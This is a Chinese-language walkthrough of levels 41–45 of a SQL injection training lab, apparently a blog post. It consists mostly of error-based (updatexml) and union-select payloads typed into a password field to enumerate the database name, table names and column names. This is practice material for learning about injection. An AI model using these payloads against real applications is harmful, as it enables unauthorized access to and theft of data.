第41关
一.查询数据库
二.查表
三.查列
四.查user表里所有数据
第42关
一.登录页面
二.查询数据库
在密码框里输入
'and updatexml(1,concat(~,(select database()),~),1)
三.查表
在密码框里输入
'and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),~),1)
![](https://i-blog.csdnimg.cn/direct/09c99621cd114de6be0a3ad9415d8e44.png)
四.查列
在密码框里输入
'and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_name='users' ),~),1)
第43关
一.登录页面
二. 查询数据库
在密码框里输入
') and updatexml(1,concat(~,(select database()),~),1)
![](https://i-blog.csdnimg.cn/direct/c7b673b8641349788016ff3d0f4c9137.png)
三.查表名
在密码框里输入
') and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),~),1)
四.查列
') and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_name='users' ),~),1)
第44关
一.查询数据库
在密码框中输入
1' union select 1,database(),3 #
二.查表
在密码框中输入1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
三.查列
在密码框中输入1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #
第45关
一.查询数据库
在密码框中输入1') union select 1,database(),3 #
二.查表
在密码框中输入1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
三.查列
在密码框中输入1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #